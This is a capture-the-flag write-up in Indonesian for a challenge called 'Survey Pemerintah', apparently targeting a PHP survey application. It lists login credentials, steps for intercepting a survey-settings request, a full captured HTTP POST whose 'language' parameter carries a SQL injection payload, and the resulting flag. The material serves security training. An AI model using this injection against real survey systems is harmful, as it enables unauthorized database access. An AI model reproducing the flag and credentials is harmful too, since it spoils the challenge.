# Survey Pemerintah

Author: rafliher

## Description

Pernah coba aplikasi ini? Login pakai mack:Mack1234

## Requirements

None

## Sources

-

## Tags

- php

## Exploit

- Versi ini ada kerentanan

1. buat survey baru
2. edit survey, intercept
3. paramater language bisa dimasukan payload

payload:

```
POST /index.php/admin/database/index/updatesurveylocalesettings_generalsettings
HTTP/2
Host: htwsoceng.rafliher.online
Cookie: PHPSESSID=98691rq14p7srt46ltkr6uck7c; LS-
TWGYNBQGUZBXQWQM=abgha5ef7jugvmtta1oipslqah;
YII_CSRF_TOKEN=b1R6S0xGYVhwYTRCR343Q2FCdzVHcW4xb3llODZFMFSW7X38Yyq7SJTSVWKeAClY
DX6WEeteZDD37SHAkT4jqw%3D%3D
Content-Length: 553
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Brave";v="126"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.8
```

```
Origin: https://htwsoceng.rafliher.online
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer:
https://htwsoceng.rafliher.online/index.php/surveyAdministration/rendersidemenu
link/subaction/generalsettings/surveyid/478939
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

YII_CSRF_TOKEN=b1R6S0xGYVhwYTRCR343Q2FCdzVHcW4xb3llODZFMFSW7X38Yyq7SJTSVWKeAClY
DX6WEeteZDD37SHAkT4jqw%3D%3D&additional_languages%5B%5D=en&oldlanguages=&langua
ge='%20union%20select%20flag%20from%20flag;&owner_id=2&admin=inherit&adminbutto
n=Y&adminemail=inherit&adminemailbutton=Y&bounce_email=inherit&bounce_emailbutt
on=Y&gsid=1&format=I&template=inherit&action=updatesurveylocalesettings_general
settings&sid=478939&surveyid=478939&responsejson=1&YII_CSRF_TOKEN=b1R6S0xGYVhwY
TRCR343Q2FCdzVHcW4xb3llODZFMFSW7X38Yyq7SJTSVWKeAClYDX6WEeteZDD37SHAkT4jqw%3D%3D
```

## Flag

```
WRECKIT50{aplikasiopensourceyangseringdipakeinstansiternyatamasihadasqli}
```

## connection

## Severity

MEDIUM